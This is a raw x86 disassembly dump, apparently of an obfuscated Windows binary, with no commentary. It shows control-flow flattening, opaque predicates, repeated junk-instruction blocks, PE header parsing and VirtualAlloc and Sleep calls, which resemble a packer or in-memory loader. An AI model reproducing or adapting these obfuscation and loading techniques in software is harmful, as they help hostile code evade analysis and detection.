mov ecx, edx
setl ah
setge ch
mov dh, ah
xor dl, ch
and cl, ch
and dh, al
and dl, al
xor al, ah
and al, ah
xor dl, 1
or dh, cl
xor al, 1
mov ah, dl
mov cl, dh
xor ah, al
or al, dl
xor cl, ch
xor al, 1
and cl, dh
or al, ah
mov edx, ecx
mov ah, al
xor dl, 1
xor ah, 1
mov ch, ah
xor ah, dl
and dl, al
or al, cl
xor al, 1
and ch, cl
or al, ah
or dl, ch
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xa1d0eab8
cmovne ecx, esi
test al, 1
mov eax, 0xa1d0eab8
jmp 0x412f61
mov eax, 0x6bc3402e
jmp 0x4021f0
mov eax, dword [ebp - 0x1a4]
mov ecx, dword [ebp - 0x1a8]
mov dword [ecx], eax
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0xb4]
mov eax, 0x46ba8b23
jmp 0x4021f0
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xbc]
mov eax, 0x4474a951
jmp 0x4021f0
mov eax, dword [ebp - 0x1c]
mov dword [eax], 1
mov eax, 0x13aa49f6
jmp 0x4021f0
mov eax, dword [0x493584]
mov esi, 0x34da4b37
mov edi, 0x75de2f24
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
and eax, ecx
not ecx
mov edx, ecx
and edx, 0xfffffffe
or eax, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x26fae131
and ecx, 0xd9051ece
or eax, ecx
cmp eax, 0x26fae131
sete cl
cmp dword [0x493580], 0xa
setge al
mov edx, eax
xor dl, cl
mov ch, dl
xor ch, 1
mov ah, ch
and ah, cl
or cl, al
and al, dl
xor cl, 1
or cl, ah
mov ah, al
xor al, ch
xor ah, 1
or ah, dl
xor ah, 1
or ah, al
mov dl, ah
xor dl, 1
mov al, dl
and al, ah
xor dl, al
xor al, 1
or al, ah
xor al, 1
or al, dl
xor al, cl
mov edx, eax
test al, 1
not dl
cmovne esi, edi
test dl, cl
cmovne esi, edi
test al, 1
mov eax, esi
cmovne eax, edi
test dl, cl
cmove eax, esi
jmp 0x4021f0
mov eax, dword [0x493584]
mov edi, 0xca993a6e
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0x87697364
and edx, 0x78968c9b
or eax, edx
mov edx, eax
xor edx, 0x80413104
xor eax, 0x78968c9b
mov esi, eax
and esi, 0xf2a46fb
and edx, 0xf0d5b904
or edx, esi
mov esi, ecx
not esi
and ecx, 0xf0d5b904
or eax, esi
and esi, 0xf2a46fb
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, 0xa687b40b
and eax, 0x50ae1742
mov ecx, esi
and esi, 0x59784bf4
or ecx, 1
or edx, esi
mov esi, ecx
and esi, 0xaf51e8bc
or eax, esi
mov esi, edx
xor esi, 0x861402
xor edx, 0x59784bf5
or ecx, edx
and edx, 0xaf51e8bc
and esi, 0x50ae1743
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov esi, 0xf86b5ce9
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x77b97ae7
andn ecx, ecx, ecx
and edx, 0x88468518
or eax, edx
xor eax, 0x77b97ae7
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xabe3048d
and eax, 0x541cfb72
or eax, ecx
xor eax, 0x541cfb72
setne dl
sete ah
cmp dword [0x493580], 0xa
setge ch
setl al
mov cl, ch
and al, dl
xor cl, ah
and ah, ch
or al, ah
and cl, ch
xor cl, 1
xor al, 1
mov edx, ecx
or cl, al
xor dl, al
xor cl, 1
or cl, dl
mov edx, ecx
mov ah, cl
xor dl, 1
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
mov ecx, eax
xor dl, 1
or dl, ah
xor dl, 1
or cl, dl
xor dl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xca993a6e
cmovne eax, esi
test dl, 1
mov edx, eax
cmovne edx, edi
test cl, 1
cmovne edx, eax
mov eax, edx
jmp 0x4021f0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
add eax, 0x34
mov dword [ebp - 0x158], eax
mov eax, dword [0x493584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x88c124ac
and eax, 0x773edb53
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xfa469aed
and eax, 0x5b96512
or ecx, eax
mov edx, ecx
mov esi, ecx
xor edx, 0x8108013c
xor esi, 0x7287be41
xor ecx, 0x80084020
mov eax, esi
or eax, 1
and esi, 0x7c7248c2
and edx, 0x838db73d
and ecx, 0xf08fc020
or edx, esi
mov esi, eax
and esi, 0xf703fde
or ecx, esi
mov esi, edx
xor esi, 0x808d8020
xor edx, 0x7c7248c3
or eax, edx
and edx, 0xf703fde
and esi, 0xf08fc021
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x20b
and eax, 0xc0bd3450
mov edx, ecx
and edx, 0x3c008004
or ecx, 0x2c00820a
or esi, edx
and ecx, 0x2f42cbaa
mov edx, esi
xor edx, 1
xor esi, 0x2f42c9a0
or eax, ecx
and esi, 0x2f42cbaa
and edx, 0x10000005
or edx, esi
mov esi, 0xc066e3f7
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x175d602d
and ecx, 0xe8a29fd2
or eax, ecx
mov ecx, eax
xor ecx, 0x22494222
xor eax, 0xd4a21ddd
mov edx, eax
and edx, 0x1916a149
and ecx, 0xe6e95eb6
or ecx, edx
xor ecx, 0xe6e95eb6
or ecx, eax
cmp ecx, 0xffffffff
sete dl
cmp dword [0x493580], 0xa
setl cl
setge ah
mov al, cl
xor al, dl
mov ch, al
and cl, al
and ch, dl
xor dl, ah
mov dh, ch
and dl, ah
xor ch, cl
xor cl, 1
mov ah, dl
xor dh, 1
xor dl, al
xor al, 1
or cl, dh
xor ah, 1
xor cl, 1
or al, ah
xor al, 1
or cl, ch
or al, dl
mov edx, ecx
mov ah, al
xor dl, al
and al, cl
and dl, cl
xor ah, 1
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x6ef147c7
cmovne ecx, esi
test al, 1
mov eax, ecx
cmovne eax, esi
jmp 0x412f64
mov eax, dword [ebp - 0x48]
mov dword [eax], 0
mov eax, 0x93c5e320
jmp 0x4021f0
mov eax, 0xc1dc1d6a
jmp 0x4021f0
mov eax, dword [ebp - 0x28]
mov eax, dword [0x493584]
mov esi, 0xd5cdb0e6
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
and eax, ecx
not ecx
mov edx, ecx
and edx, 0xfffffffe
or eax, edx
mov edx, eax
not edx
and eax, 0x6c7fcb21
and edx, 0x938034de
or eax, edx
xor eax, 0x6c7fcb21
or eax, ecx
cmp eax, 0xffffffff
sete dl
cmp dword [0x493580], 0xa
setl cl
setge al
mov ah, cl
or cl, dl
or al, dl
xor ah, dl
xor cl, 1
xor al, 1
or cl, ah
and ah, dl
or al, ah
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ch, cl
xor ch, dl
and dl, cl
or dl, al
and ch, cl
mov eax, 0xd5cdb0e6
mov cl, dl
xor cl, ch
test dl, 1
mov edx, 0x50255b9e
cmovne eax, edx
test ch, ch
cmove eax, esi
test cl, 1
cmovne eax, edx
jmp 0x4021f0
cmp dword [ebp - 0x138], 0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
setne byte [ebp - 0xa3]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x79a06446
mov edx, ecx
and edx, 0x865f9bb8
and ecx, 0x4bda2dc9
or esi, edx
mov edx, eax
xor edx, 0xfffffffe
and edx, eax
xor esi, 0x79a06446
and eax, 0xb425d236
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0xecef326f
xor eax, 0xb425d236
and esi, 0x1310cd90
or edx, esi
mov esi, 0xdab2b484
xor edx, 0xecef326f
or eax, edx
mov ecx, eax
not ecx
and eax, 0x60e3ba16
and ecx, 0x9f1c45e9
or eax, ecx
xor eax, 0x60e3ba16
sete dl
setne cl
cmp dword [0x493580], 0xa
mov dh, dl
setge al
setl ah
mov ch, al
and cl, ah
xor dh, ah
xor ch, dl
and ch, al
and al, dl
or al, cl
mov cl, dh
or al, ch
not cl
mov dl, al
and al, dh
xor dl, 1
and cl, dl
or cl, al
mov al, dh
xor al, dl
or dl, dh
xor dl, 1
or dl, al
mov eax, edx
xor al, cl
test dl, 1
mov edx, 0xc8b55a44
cmovne edx, esi
test cl, cl
cmove edx, esi
test al, 1
mov eax, 0xc8b55a44
cmove edx, eax
mov eax, edx
jmp 0x4021f0
mov eax, 0xb935187
jmp 0x4021f0
cmp byte [ebp - 0xa4], 0
mov eax, 0x54da8011
mov ecx, 0xb9582330
cmovne eax, ecx
jmp 0x4021f0
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0x18c]
mov dword [eax], ecx
mov eax, 0xa45172ae
jmp 0x4021f0
mov eax, 0x626086de
jmp 0x4021f0
mov eax, dword [ebp - 0x48]
mov dword [eax], 0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
xor edx, 0xfffffffe
andn edx, eax, edx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, edx
not eax
and edx, 0x1bc91935
mov esi, eax
and esi, 0xe436e6ca
or edx, esi
mov esi, ecx
not esi
and ecx, 0x1bc91935
or eax, esi
and esi, 0xe436e6ca
or ecx, esi
not eax
mov esi, 0x865df562
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xce47a8c2
and ecx, 0x31b8573d
or eax, ecx
mov ecx, eax
xor ecx, 0xc00788c2
xor eax, 0x31b8573d
mov edx, eax
and edx, 0xed07014
and ecx, 0xf12f8feb
or ecx, edx
xor ecx, 0xed07014
xor eax, ecx
test eax, ecx
setne dl
sete ah
cmp dword [0x493580], 0xa
setge al
setl cl
and dl, cl
or cl, ah
and al, ah
xor cl, 1
or al, dl
or cl, al
xor al, 1
mov ah, cl
mov edx, ecx
xor ah, 1
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, cl
xor dl, al
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x84204730
cmovne ecx, esi
test al, al
mov eax, 0x84204730
cmovne eax, ecx
test dl, 1
cmove eax, ecx
jmp 0x4021f0
mov eax, dword [0x493584]
mov esi, 0xffa82fe
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
xor eax, 0xfffffffe
and edx, 0xfffffffe
and eax, ecx
or eax, edx
mov edx, eax
not edx
and eax, ecx
andn ecx, ecx, edx
or eax, ecx
not eax
or eax, edx
xor eax, 0xffffffff
setne dl
sete al
cmp dword [0x493580], 0xa
setl ah
mov cl, ah
or dl, ah
or cl, al
xor al, ah
xor dl, 1
xor cl, 1
or cl, al
and al, ah
xor cl, 1
or al, dl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
test al, al
mov eax, 0xd5cdb0e6
cmovne eax, esi
test cl, cl
mov ecx, 0xd5cdb0e6
cmove eax, ecx
test dl, 1
cmove eax, esi
jmp 0x4021f0
mov ecx, dword [0x493584]
mov edi, 0x85c9cac7
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x3070219
and eax, 0xe4904824
mov edx, ecx
and edx, 0x1868b5c2
or esi, edx
xor esi, 0x3070219
or eax, esi
mov esi, 0x50beef38
mov edx, eax
not edx
and eax, 0xbe19a881
and edx, 0x41e6577e
or eax, edx
xor eax, 0x5a89e0a4
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x3864e931
and ecx, 0xc79b16ce
or eax, ecx
xor eax, 0x3864e931
setne cl
sete al
cmp dword [0x493580], 0xa
mov edx, ecx
setl ah
setge ch
mov dh, ah
and dl, ch
xor cl, ch
and dh, al
and cl, al
xor al, ah
or dh, dl
and al, ah
mov dl, dh
or al, cl
xor dl, ch
and dl, dh
xor al, dl
mov ecx, eax
cmovne esi, edi
not cl
test cl, dl
mov edx, 0x50beef38
cmove esi, edx
cmovne esi, edi
test al, al
mov eax, dword [ebp - 0x3c]
cmovne esi, edi
mov eax, esi
jmp 0x4021f0
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x1b4]
mov dword [eax], ecx
mov eax, 0x9183876b
jmp 0x4021f0
mov ecx, dword [0x493584]
mov edi, 0xad6d8303
lea eax, [ecx + 1]
imul eax, ecx
not eax
mov esi, eax
or esi, 0xe9cba8f6
mov edx, eax
and edx, 0xe9cba8f6
mov ecx, esi
not ecx
and esi, 0x16345708
or ecx, edx
and ecx, 0xe9cba8f7
or ecx, esi
mov esi, 0x37c92bb2
mov edx, ecx
not edx
and ecx, 0x95d97fb1
and edx, 0x6a26804e
or ecx, edx
xor ecx, 0x95d97fb1
or ecx, eax
xor ecx, 0xffffffff
setne ah
sete dl
cmp dword [0x493580], 0xa
mov al, ah
setge cl
xor ah, cl
or al, cl
or cl, dl
and ah, dl
xor cl, 1
mov edx, eax
or cl, ah
not dl
mov ah, cl
and cl, al
xor ah, 1
or al, ah
and ah, dl
mov edx, 0xad6d8303
or ah, cl
mov ch, al
xor ch, ah
test ah, ah
cmovne edx, esi
test al, al
cmovne edx, edi
test ch, 1
cmove edx, esi
mov eax, edx
jmp 0x4021f0
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, 0x5fe9bfd
jmp 0x4021f0
cmp dword [ebp - 0x19c], 0
mov eax, 0xdaec6290
mov ecx, 0xf10d7718
cmove eax, ecx
jmp 0x4021f0
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov dword [ebp - 0x1b0], eax
mov eax, 0x5a26ebc2
jmp 0x4021f0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x168], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x118], eax
mov eax, 0x2423eb8e
jmp 0x4021f0
mov eax, dword [ebp - 0x158]
mov ecx, dword [ebp - 0x154]
cmp ecx, dword [eax]
mov eax, 0x47b56375
setne byte [ebp - 0x9d]
jmp 0x4021f0
mov eax, dword [ebp - 0x7c]
push 0x400
push dword [eax]
push dword [ebp - 0x104]
vzeroupper
call fcn.004334b0
add esp, 0xc
not eax
inc eax
or edi, 0x44
inc esi
or eax, 0x44
or edx, 0x45
dec eax
mov ebx, 0x3c
dec esi
rol esi, 0x33
neg edx
imul edx
and edi, 0x3a
bswap edx
inc eax
neg edx
neg ebx
and eax, 0x3c
ror edx, 0xd0
neg edx
or esi, 0x97
bswap ebx
add ebx, 0x1a
ror ebx, 0x21
mov edi, 0x32
imul esi
ror ebx, 0x46
rcr edx, 0xa9
imul edi
sbb eax, 0xe1
rol ebx, 0x6a
rol ebx, 0x1d
sub edx, 0xa0
rol ebx, 0xba
bswap ebx
sbb edx, 0xde
rol esi, 0xfa
sbb edx, 0x22
or eax, 0x61
or edx, 0x10
dec eax
or ebx, 0xaf
dec edi
bswap edi
sub esi, 0x4c
add esi, 0xfe
dec edi
not edi
inc esi
inc edx
inc edi
or edi, 0x3f
add edi, 0x42
sbb eax, 0x2f
neg eax
rol edx, 0xdd
sub edx, 0x8e
dec ebx
not eax
ror edi, 0x59
and edx, 0x27
sbb edi, 0xe8
rcr eax, 0x3a
imul edx
or edx, 0x4e
inc edx
rcl edi, 0x95
mov esi, 0x28
rcr ebx, 0xd2
neg eax
rcr eax, 0xa4
dec edi
sub edi, 0x7d
rol edx, 0x10
neg ebx
sub eax, 0x9c
and eax, 0xe2
imul edx
inc eax
inc eax
ror esi, 0x76
inc esi
bswap edx
inc edi
add eax, 0x4d
bswap eax
rol esi, 0xfe
imul esi
bswap edx
rol esi, 0x98
or edx, 0x70
imul esi
and edx, 0x7c
neg edx
sub esi, 0x29
and ebx, 0x22
neg esi
mov edi, 0x99
imul ebx
dec ebx
rcl ebx, 0xe0
bswap edx
or ebx, 0x3a
sub ebx, 0x74
and esi, 0x45
or ebx, 0x92
neg ebx
neg edi
neg edx
or edi, 0x59
rcr ebx, 0x89
dec esi
neg ebx
or esi, 0x99
bswap edx
dec edi
mov edi, 3
ror edi, 0xba
rol edx, 0xa1
inc esi
imul esi
and edi, 0xd3
and esi, 0xb2
and edx, 0xbe
imul edi
dec ebx
imul edi
rcl eax, 7
inc edx
and eax, 0xf0
not edi
inc ebx
inc eax
add eax, 0xf
mov edx, 0x69
rcr eax, 0xd3
neg eax
rcr ebx, 0xaa
imul eax
dec esi
bswap edi
or eax, 0x9c
sbb esi, 0x4a
neg eax
sub edx, 0xb2
bswap ebx
neg edi
sbb eax, 0x4c
add esi, 0x96
not eax
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 0x14]
mov edx, dword [ebp - 0x2c]
lea eax, [eax + ecx + 0x18]
mov dword [edx], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov dword [eax], 0
mov eax, 0x6793fa81
jmp 0x4021f0
mov eax, dword [0x493584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x485081b7
and ecx, 0xa04c0ba
mov edx, eax
and edx, 0xb7af7e48
or eax, 0x18a0e44
or esi, edx
and eax, 0xc1ab3e44
mov edx, esi
xor esi, 0x18a0e40
xor edx, 0x500101
or ecx, eax
or esi, 0xc0213000
and edx, 0x34500101
and esi, 0xc1ab3e44
or edx, esi
xor ecx, edx
mov eax, ecx
not eax
and ecx, 0x351207b3
and eax, 0xcaedf84c
or ecx, eax
mov esi, ecx
xor esi, 0xff37f709
mov edx, ecx
xor edx, 0x8800b2
and ecx, 1
mov eax, esi
and esi, 0xfffffffe
or eax, 1
and edx, 0x61aaa7b2
or ecx, esi
mov esi, eax
and esi, 0x9e55584c
or edx, esi
mov esi, ecx
not esi
and ecx, 0x61aaa7b3
or eax, esi
and esi, 0x9e55584c
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x300208a4
and eax, 0x8060c200
mov edx, ecx
and edx, 0x4a811542
or ecx, 0x608314a2
or esi, edx
and ecx, 0x659f34bb
mov edx, esi
xor edx, 0x10000804
xor esi, 0x459d341b
or eax, ecx
and esi, 0x659f34bb
and edx, 0x1a000944
or edx, esi
mov esi, 0x96fb8205
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xfa3ef96c
and ecx, 0x5c10693
or eax, ecx
mov ecx, eax
xor ecx, 0x80bda402
xor eax, 0x7f421b75
mov edx, eax
and edx, 0x3405a98
and ecx, 0xfcbfa567
or ecx, edx
xor ecx, 0x3405a98
xor eax, ecx
test eax, ecx
setne ah
cmp dword [0x493580], 0xa
setge dl
setl al
mov ch, dl
or dl, ah
xor al, ah
xor ch, ah
xor dl, 1
mov cl, al
or dl, ch
xor cl, 1
xor dl, 1
or dl, cl
mov ch, dl
xor ch, 1
mov ah, ch
and ah, dl
xor ch, ah
xor ah, 1
or ah, dl
xor ah, 1
or ah, ch
mov dl, ah
and ah, al
mov al, cl
xor dl, 1
xor al, dl
and dl, cl
or dl, ah
and al, cl
mov ecx, edx
xor cl, al
test dl, dl
mov edx, 0x2f60cb05
cmovne edx, esi
test al, al
mov eax, 0x2f60cb05
cmove edx, eax
test cl, cl
cmovne edx, esi
mov eax, edx
jmp 0x4021f0
mov eax, 0x2151bc05
jmp 0x4021f0
mov eax, dword [ebp - 0x7c]
push 0x400
push dword [eax]
push dword [ebp - 0x104]
vzeroupper
call fcn.004334b0
add esp, 0xc
not eax
inc eax
or edi, 0x44
inc esi
or eax, 0x44
or edx, 0x45
dec eax
mov ebx, 0x3c
dec esi
rol esi, 0x33
neg edx
imul edx
and edi, 0x3a
bswap edx
inc eax
neg edx
neg ebx
and eax, 0x3c
ror edx, 0xd0
neg edx
or esi, 0x97
bswap ebx
add ebx, 0x1a
ror ebx, 0x21
mov edi, 0x32
imul esi
ror ebx, 0x46
rcr edx, 0xa9
imul edi
sbb eax, 0xe1
rol ebx, 0x6a
rol ebx, 0x1d
sub edx, 0xa0
rol ebx, 0xba
bswap ebx
sbb edx, 0xde
rol esi, 0xfa
sbb edx, 0x22
or eax, 0x61
or edx, 0x10
dec eax
or ebx, 0xaf
dec edi
bswap edi
sub esi, 0x4c
add esi, 0xfe
dec edi
not edi
inc esi
inc edx
inc edi
or edi, 0x3f
add edi, 0x42
sbb eax, 0x2f
neg eax
rol edx, 0xdd
sub edx, 0x8e
dec ebx
not eax
ror edi, 0x59
and edx, 0x27
sbb edi, 0xe8
rcr eax, 0x3a
imul edx
or edx, 0x4e
inc edx
rcl edi, 0x95
mov esi, 0x28
rcr ebx, 0xd2
neg eax
rcr eax, 0xa4
dec edi
sub edi, 0x7d
rol edx, 0x10
neg ebx
sub eax, 0x9c
and eax, 0xe2
imul edx
inc eax
inc eax
ror esi, 0x76
inc esi
bswap edx
inc edi
add eax, 0x4d
bswap eax
rol esi, 0xfe
imul esi
bswap edx
rol esi, 0x98
or edx, 0x70
imul esi
and edx, 0x7c
neg edx
sub esi, 0x29
and ebx, 0x22
neg esi
mov edi, 0x99
imul ebx
dec ebx
rcl ebx, 0xe0
bswap edx
or ebx, 0x3a
sub ebx, 0x74
and esi, 0x45
or ebx, 0x92
neg ebx
neg edi
neg edx
or edi, 0x59
rcr ebx, 0x89
dec esi
neg ebx
or esi, 0x99
bswap edx
dec edi
mov edi, 3
ror edi, 0xba
rol edx, 0xa1
inc esi
imul esi
and edi, 0xd3
and esi, 0xb2
and edx, 0xbe
imul edi
dec ebx
imul edi
rcl eax, 7
inc edx
and eax, 0xf0
not edi
inc ebx
inc eax
add eax, 0xf
mov edx, 0x69
rcr eax, 0xd3
neg eax
rcr ebx, 0xaa
imul eax
dec esi
bswap edi
or eax, 0x9c
sbb esi, 0x4a
neg eax
sub edx, 0xb2
bswap ebx
neg edi
sbb eax, 0x4c
add esi, 0x96
not eax
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 0x14]
lea eax, [ecx + eax + 0x18]
mov ecx, dword [ebp - 0x2c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov dword [eax], 0
mov eax, dword [0x493584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x88210f34
mov edx, eax
and edx, 0x77def0ca
and eax, 0x51bde86a
or esi, edx
mov edx, ecx
and edx, 1
and ecx, 0xae421795
xor esi, 0x88210f34
or eax, ecx
or edx, esi
mov esi, edx
not esi
and edx, 0x51bde86a
mov edi, esi
and edi, 0xae421795
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0x51d604c1
xor eax, 0xffffffff
setne dl
sete ch
cmp dword [0x493580], 0xa
setge dh
setl al
mov ah, dh
mov cl, al
xor al, dl
xor ah, ch
and cl, dl
and ch, dh
and ah, dh
or cl, ch
xor ah, 1
mov ch, cl
mov dl, ah
xor ch, 1
xor dl, al
or al, ah
xor al, 1
or al, dl
mov edx, eax
not dl
and dl, ch
or ch, al
and al, cl
or al, dl
mov cl, ch
mov edx, 0xeb40c683
xor cl, al
test al, al
mov eax, 0xeb40c683
cmovne eax, esi
test ch, 1
cmovne eax, edx
test cl, 1
cmove eax, esi
jmp 0x4021f0
push 4
push 0x3000
push dword [ebp - 0xf4]
push dword [ebp - 0x140]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c]
mov eax, 0x84586f46
jmp 0x4021f0
mov eax, dword [ebp - 0x80]
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0xb801402
and eax, 0xeec5b3
mov ecx, edx
and ecx, 0x801008a4
mov edi, edx
or edi, 0x8b901ca6
and edx, 0xff113a4c
or esi, ecx
mov ecx, edi
not ecx
and edi, 0x746fe358
or eax, edx
xor esi, 0xb801402
or ecx, esi
and ecx, 0x8b901ca7
or ecx, edi
mov esi, ecx
not esi
mov edx, ecx
and edx, 0x9522b336
and esi, 0x6add4cc9
or esi, edx
mov edx, eax
xor edx, 0xcc4481
xor eax, 0xff113a4c
or ecx, eax
and eax, 0x9522b336
and edx, 0x6add4cc9
or edx, eax
not ecx
xor edx, esi
mov esi, 0xa96b9ac1
or ecx, edx
cmp ecx, 0xffffffff
sete dl
cmp dword [0x493580], 0xa
setl al
mov ah, al
xor al, dl
or ah, dl
mov cl, ah
xor cl, 1
or cl, al
and al, ah
mov edx, ecx
mov ah, al
mov ch, al
xor dl, 1
xor ah, 1
and ch, cl
or al, dl
and dl, ah
xor ah, cl
xor al, 1
or dl, ch
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x40a1d00f
cmovne ecx, esi
test al, 1
mov eax, 0x40a1d00f
cmovne eax, ecx
test dl, dl
cmove eax, ecx
jmp 0x4021f0
mov eax, dword [0x493584]
lea ecx, [eax + 1]
imul ecx, eax
mov esi, ecx
mov eax, ecx
xor eax, 0xfffffffe
not esi
mov edx, esi
and eax, ecx
and edx, 0xfffffffe
and esi, 0xd9c1733d
and ecx, 0x263e8cc2
or eax, edx
or ecx, esi
mov edx, eax
not edx
mov esi, eax
and esi, 0x1ae0a6c1
and edx, 0xe51f593e
or edx, esi
mov esi, ecx
xor esi, 0x241e0802
xor ecx, 0xd9c1733d
or eax, ecx
and ecx, 0x1ae0a6c1
and esi, 0xe51f593e
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0xccdef69d
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x493580], 0xa
setl ch
setge al
mov cl, ch
and dl, ch
or ch, ah
and al, ah
xor ch, 1
or al, dl
xor cl, ah
or al, ch
mov edx, ecx
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x141faffd
cmovne eax, esi
test dl, dl
mov edx, 0x141faffd
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x4021f0
mov eax, dword [ebp - 0x14]
mov eax, 0xee1a87bd
jmp 0x4021f0
mov eax, dword [ebp - 0x128]
mov eax, dword [ebp - 0x12c]
mov eax, 0xca993a6e
jmp 0x4021f0
mov eax, 0xb5eb0eab
jmp 0x4021f0
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x493584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov esi, ecx
not eax
or esi, 1
and ecx, 0x36096369
mov edx, eax
mov edi, eax
or edx, 0x6ebb044c
and esi, 0x6ebb044d
and edi, 0x9144fbb2
and eax, 0xc9f69c96
or edi, esi
and edx, 0x6ebb044d
or eax, ecx
xor edx, edi
mov esi, edx
not esi
and edx, 0xc9f69c96
mov edi, esi
and edi, 0x36096369
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0x495ca49f
setne cl
sete ah
cmp dword [0x493580], 0xa
setge al
setl dl
and cl, dl
and al, ah
or al, cl
mov cl, ah
xor cl, dl
or dl, ah
xor al, 1
mov ah, al
or al, dl
xor ah, dl
xor al, 1
or al, ah
mov ah, cl
mov edx, eax
xor ah, al
and al, cl
and ah, cl
xor cl, 1
not dl
and dl, cl
or al, dl
mov edx, 0x94b47f9a
mov ecx, eax
xor cl, ah
test al, al
cmovne edx, esi
test ah, ah
mov eax, 0x94b47f9a
cmove edx, eax
test cl, cl
cmovne edx, esi
mov eax, edx
jmp 0x4021f0
cmp byte [ebp - 0x9e], 0
mov eax, 0xfad3e1ed
mov ecx, 0xfdd94604
cmovne eax, ecx
jmp 0x4021f0
cmp eax, 0xd71ec003
jne 0x4021f0
mov esi, dword [ebp - 0x1d4]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
vzeroupper
call fcn.00432940
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret